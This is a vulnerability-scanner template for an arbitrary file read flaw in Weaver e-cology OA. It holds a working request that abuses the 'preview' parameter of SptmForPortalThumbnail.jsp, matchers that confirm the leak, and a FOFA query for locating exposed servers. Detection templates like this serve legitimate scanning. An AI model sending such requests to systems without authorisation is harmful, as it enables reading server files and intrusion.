weaver-sptmforportalthumbnail-lfi: OA E-Weaver SptmForPortalThumbnail - Arbitrary File Read

id: weaver-sptmforportalthumbnail-lfi

info:
  name: OA E-Weaver SptmForPortalThumbnail - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    The controllable preview parameters of SptmForPortalThumbnail.jsp are not filtered and are directly spliced to the web root directory for file downloading.
  reference:
    - http://124.223.89.192/archives/e-cology8-14
    - https://github.com/GREENHAT7/pxplan/blob/main/xray_pocs/yaml-poc-weaver-weaver_e_cology_oa-readfile-CT-479157.yml
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-cology
    fofa-query: app="泛微-E-Weaver"
  tags: weaver,e-cology,oa,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/SptmForPortalThumbnail.jsp?preview=portal/SptmForPortalThumbnail.jsp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "weaver.general.BaseBean"
          - "getServletConfig"
        condition: and

      - type: word
        part: header
        words:
          - "image/png"

      - type: status
        status:
          - 200
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